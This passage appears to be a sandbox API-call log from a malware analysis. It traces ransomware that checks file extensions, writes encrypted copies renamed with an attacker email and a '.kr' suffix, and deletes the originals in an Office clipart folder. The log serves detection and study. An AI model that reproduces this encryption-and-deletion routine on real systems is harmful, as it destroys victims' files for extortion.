Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.157] lstrlenW (lpString=".dbf") returned 4 [0185.157] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.157] lstrlenW (lpString=".1cd") returned 4 [0185.157] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.157] lstrlenW (lpString=".jpg") returned 4 [0185.157] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.158] lstrlenW (lpString=".doc") returned 4 [0185.158] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.158] lstrlenW (lpString=".docx") returned 5 [0185.158] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.158] lstrlenW (lpString=".pdf") returned 4 [0185.158] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.158] lstrlenW (lpString=".xls") returned 4 [0185.158] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.158] lstrlenW (lpString=".xlsx") returned 5 [0185.158] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.158] lstrlenW (lpString=".ppt") returned 4 [0185.158] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.158] lstrlenW (lpString=".zip") returned 4 [0185.158] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.158] lstrlenW (lpString=".rar") returned 4 [0185.158] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.158] lstrlenW (lpString=".bz2") returned 4 [0185.158] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.158] lstrlenW (lpString=".7z") returned 3 [0185.158] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.158] lstrlenW (lpString=".dbf") returned 4 [0185.158] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.158] lstrlenW (lpString=".1cd") returned 4 [0185.158] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0185.158] lstrlenW (lpString=".jpg") returned 4 [0185.158] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.159] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.159] lstrlenW (lpString="PARNT_02.MID") returned 12 [0185.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.160] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5714) returned 1 [0185.160] CloseHandle (hObject=0x540) returned 1 [0185.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0185.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.160] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.160] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.161] GetLastError () returned 0x0 [0185.161] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1652, lpOverlapped=0x0) returned 1 [0185.170] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1660, lpOverlapped=0x0) returned 1 [0185.174] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.174] WriteFile (in: hFile=0x544, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.174] SetEndOfFile (hFile=0x544) returned 1 [0185.544] CloseHandle (hObject=0x544) returned 1 [0185.545] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.545] SetEndOfFile (hFile=0x540) returned 1 [0185.548] CloseHandle (hObject=0x540) returned 1 [0185.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0185.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.549] lstrlenW (lpString=".doc") returned 4 [0185.549] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.549] lstrlenW (lpString=".docx") returned 5 [0185.549] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0185.549] lstrlenW (lpString=".pdf") returned 4 [0185.549] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.549] lstrlenW (lpString=".xls") returned 4 [0185.549] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.549] lstrlenW (lpString=".xlsx") returned 5 [0185.549] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0185.549] lstrlenW (lpString=".ppt") returned 4 [0185.549] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.549] lstrlenW (lpString=".zip") returned 4 [0185.549] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.549] lstrlenW (lpString=".rar") returned 4 [0185.550] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.550] lstrlenW (lpString=".bz2") returned 4 [0185.550] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.550] lstrlenW (lpString=".7z") returned 3 [0185.550] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.550] lstrlenW (lpString=".dbf") returned 4 [0185.550] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.550] lstrlenW (lpString=".1cd") returned 4 [0185.550] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.550] lstrlenW (lpString=".jpg") returned 4 [0185.550] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.550] lstrlenW (lpString=".doc") returned 4 [0185.550] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.550] lstrlenW (lpString=".docx") returned 5 [0185.550] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0185.550] lstrlenW (lpString=".pdf") returned 4 [0185.550] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.550] lstrlenW (lpString=".xls") returned 4 [0185.550] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.550] lstrlenW (lpString=".xlsx") returned 5 [0185.550] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0185.550] lstrlenW (lpString=".ppt") returned 4 [0185.550] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.550] lstrlenW (lpString=".zip") returned 4 [0185.550] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.550] lstrlenW (lpString=".rar") returned 4 [0185.551] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.551] lstrlenW (lpString=".bz2") returned 4 [0185.551] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.551] lstrlenW (lpString=".7z") returned 3 [0185.551] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.551] lstrlenW (lpString=".dbf") returned 4 [0185.551] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.551] lstrlenW (lpString=".1cd") returned 4 [0185.551] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0185.551] lstrlenW (lpString=".jpg") returned 4 [0185.551] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.551] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.551] lstrlenW (lpString="PARNT_03.MID") returned 12 [0185.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.552] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=8538) returned 1 [0185.552] CloseHandle (hObject=0x540) returned 1 [0185.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0185.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.553] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.553] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.603] GetLastError () returned 0x0 [0185.603] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x215a, lpOverlapped=0x0) returned 1 [0185.646] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2160, lpOverlapped=0x0) returned 1 [0185.647] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.647] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.647] SetEndOfFile (hFile=0x4d8) returned 1 [0185.647] CloseHandle (hObject=0x4d8) returned 1 [0185.648] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.648] SetEndOfFile (hFile=0x540) returned 1 [0185.651] CloseHandle (hObject=0x540) returned 1 [0185.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0185.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.652] lstrlenW (lpString=".doc") returned 4 [0185.652] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.652] lstrlenW (lpString=".docx") returned 5 [0185.652] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0185.652] lstrlenW (lpString=".pdf") returned 4 [0185.652] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.652] lstrlenW (lpString=".xls") returned 4 [0185.652] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.652] lstrlenW (lpString=".xlsx") returned 5 [0185.652] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0185.652] lstrlenW (lpString=".ppt") returned 4 [0185.652] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.653] lstrlenW (lpString=".zip") returned 4 [0185.653] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.653] lstrlenW (lpString=".rar") returned 4 [0185.701] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.701] lstrlenW (lpString=".bz2") returned 4 [0185.701] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.701] lstrlenW (lpString=".7z") returned 3 [0185.701] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.701] lstrlenW (lpString=".dbf") returned 4 [0185.701] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.701] lstrlenW (lpString=".1cd") returned 4 [0185.701] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.701] lstrlenW (lpString=".jpg") returned 4 [0185.701] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.701] lstrlenW (lpString=".doc") returned 4 [0185.702] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.702] lstrlenW (lpString=".docx") returned 5 [0185.702] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0185.702] lstrlenW (lpString=".pdf") returned 4 [0185.702] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.702] lstrlenW (lpString=".xls") returned 4 [0185.702] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.702] lstrlenW (lpString=".xlsx") returned 5 [0185.702] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0185.702] lstrlenW (lpString=".ppt") returned 4 [0185.702] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.702] lstrlenW (lpString=".zip") returned 4 [0185.702] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.702] lstrlenW (lpString=".rar") returned 4 [0185.702] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.702] lstrlenW (lpString=".bz2") returned 4 [0185.702] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.702] lstrlenW (lpString=".7z") returned 3 [0185.702] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.702] lstrlenW (lpString=".dbf") returned 4 [0185.702] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.702] lstrlenW (lpString=".1cd") returned 4 [0185.702] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0185.702] lstrlenW (lpString=".jpg") returned 4 [0185.702] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.703] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.703] lstrlenW (lpString="PARNT_06.MID") returned 12 [0185.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.704] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7768) returned 1 [0185.704] CloseHandle (hObject=0x540) returned 1 [0185.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0185.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0185.705] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.705] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0185.707] GetLastError () returned 0x0 [0185.707] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1e58, lpOverlapped=0x0) returned 1 [0185.776] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1e60, lpOverlapped=0x0) returned 1 [0185.777] ReadFile (in: hFile=0x540, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.777] WriteFile (in: hFile=0x4d8, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.777] SetEndOfFile (hFile=0x4d8) returned 1 [0185.777] CloseHandle (hObject=0x4d8) returned 1 [0185.778] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.778] SetEndOfFile (hFile=0x540) returned 1 [0185.780] CloseHandle (hObject=0x540) returned 1 [0185.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0185.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.859] lstrlenW (lpString=".doc") returned 4 [0185.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.859] lstrlenW (lpString=".docx") returned 5 [0185.859] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0185.859] lstrlenW (lpString=".pdf") returned 4 [0185.859] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.859] lstrlenW (lpString=".xls") returned 4 [0185.859] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.859] lstrlenW (lpString=".xlsx") returned 5 [0185.859] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0185.859] lstrlenW (lpString=".ppt") returned 4 [0185.859] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.859] lstrlenW (lpString=".zip") returned 4 [0185.859] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.859] lstrlenW (lpString=".rar") returned 4 [0185.859] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.860] lstrlenW (lpString=".bz2") returned 4 [0185.860] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.860] lstrlenW (lpString=".7z") returned 3 [0185.860] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.860] lstrlenW (lpString=".dbf") returned 4 [0185.860] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.860] lstrlenW (lpString=".1cd") returned 4 [0185.860] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0185.860] lstrlenW (lpString=".jpg") returned 4 [0185.860] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 